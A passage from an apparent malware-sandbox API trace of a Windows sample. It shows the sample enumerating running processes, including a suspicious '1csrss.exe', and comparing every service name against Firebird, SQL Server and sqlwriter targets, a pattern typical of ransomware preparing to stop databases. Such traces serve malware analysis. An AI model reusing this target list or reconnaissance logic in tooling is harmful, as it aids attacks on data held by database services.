lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0293.568] lstrlenW (lpString="spoolsv.exe") returned 11 [0293.568] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0293.570] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0293.570] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0293.571] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0293.571] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0293.572] lstrlenW (lpString="Memory Compression") returned 18 [0293.572] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.573] lstrlenW (lpString="svchost.exe") returned 11 [0293.573] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0293.573] lstrlenW (lpString="audiodg.exe") returned 11 [0293.573] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0293.574] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0293.574] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0293.575] lstrlenW (lpString="sihost.exe") returned 10 [0293.575] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.575] lstrlenW (lpString="svchost.exe") returned 11 [0293.575] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0293.576] lstrlenW (lpString="taskhostw.exe") returned 13 [0293.576] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0293.577] lstrlenW (lpString="msoia.exe") returned 9 [0293.577] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0293.577] lstrlenW (lpString="explorer.exe") returned 12 [0293.577] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0293.670] lstrlenW (lpString="SearchUI.exe") returned 12 [0293.670] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0293.671] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0293.671] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0293.673] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0293.674] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0293.674] lstrlenW (lpString="1csrss.exe") returned 10 [0293.674] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.675] lstrlenW (lpString="svchost.exe") returned 11 [0293.675] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0293.676] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0293.676] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0293.676] CloseHandle (hObject=0x4e8) returned 1 [0293.676] Sleep (dwMilliseconds=0x1f4) [0294.201] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb60 [0294.201] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0294.202] GetLastError () returned 0xea [0294.202] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x4568fb8 [0294.202] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4568fb8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4568fb8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0294.202] CloseServiceHandle (hSCObject=0x7ddb60) returned 1 [0294.203] lstrlenW (lpString="AppXSvc") returned 7 [0294.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0294.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0294.203] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0294.203] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0294.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0294.203] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0294.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.203] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0294.203] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0294.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0294.203] lstrlenW (lpString="Audiosrv") returned 8 [0294.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0294.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0294.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0294.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0294.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0294.203] lstrlenW (lpString="BFE") returned 3 [0294.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0294.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0294.203] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0294.203] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0294.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0294.203] lstrlenW (lpString="BITS") returned 4 [0294.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0294.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0294.203] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0294.203] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0294.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0294.204] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.204] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0294.204] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0294.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0294.204] lstrlenW (lpString="CDPSvc") returned 6 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0294.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0294.204] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0294.204] lstrlenW (lpString="ClickToRunSvc") returned 13 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0294.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0294.204] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.204] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0294.204] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0294.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0294.204] lstrlenW (lpString="CryptSvc") returned 8 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0294.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0294.204] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0294.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0294.204] lstrlenW (lpString="DcomLaunch") returned 10 [0294.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0294.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0294.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0294.205] lstrlenW (lpString="DeviceAssociationService") returned 24 [0294.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0294.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0294.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0294.205] lstrlenW (lpString="Dhcp") returned 4 [0294.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0294.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0294.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0294.205] lstrlenW (lpString="Dnscache") returned 8 [0294.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0294.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0294.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0294.205] lstrlenW (lpString="DoSvc") returned 5 [0294.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0294.205] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0294.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0294.205] lstrlenW (lpString="DPS") returned 3 [0294.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0294.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0294.205] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0294.206] lstrlenW (lpString="DusmSvc") returned 7 [0294.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0294.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0294.206] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0294.206] lstrlenW (lpString="EventLog") returned 8 [0294.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0294.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0294.206] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0294.206] lstrlenW (lpString="EventSystem") returned 11 [0294.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0294.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0294.206] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0294.206] lstrlenW (lpString="FontCache") returned 9 [0294.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0294.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0294.206] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0294.206] lstrlenW (lpString="gpsvc") returned 5 [0294.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0294.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0294.206] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0294.206] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0294.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0294.206] lstrlenW (lpString="iphlpsvc") returned 8 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0294.207] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0294.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0294.207] lstrlenW (lpString="KeyIso") returned 6 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0294.207] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0294.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0294.207] lstrlenW (lpString="LanmanServer") returned 12 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0294.207] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0294.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0294.207] lstrlenW (lpString="LanmanWorkstation") returned 17 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0294.207] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0294.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0294.207] lstrlenW (lpString="lfsvc") returned 5 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0294.207] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0294.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0294.207] lstrlenW (lpString="lmhosts") returned 7 [0294.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0294.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0294.207] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0294.208] lstrlenW (lpString="LSM") returned 3 [0294.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0294.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0294.208] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0294.208] lstrlenW (lpString="MpsSvc") returned 6 [0294.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0294.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0294.208] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0294.208] lstrlenW (lpString="NcbService") returned 10 [0294.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0294.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0294.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0294.208] lstrlenW (lpString="netprofm") returned 8 [0294.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0294.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0294.208] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0294.208] lstrlenW (lpString="NgcSvc") returned 6 [0294.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0294.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0294.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0294.208] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0294.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0294.208] lstrlenW (lpString="NlaSvc") returned 6 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0294.209] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0294.209] lstrlenW (lpString="nsi") returned 3 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0294.209] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0294.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0294.209] lstrlenW (lpString="PcaSvc") returned 6 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0294.209] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0294.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0294.209] lstrlenW (lpString="PlugPlay") returned 8 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0294.209] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0294.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0294.209] lstrlenW (lpString="Power") returned 5 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0294.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0294.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0294.209] lstrlenW (lpString="ProfSvc") returned 7 [0294.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0294.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0294.209] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0294.210] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0294.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0294.210] lstrlenW (lpString="RpcEptMapper") returned 12 [0294.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned 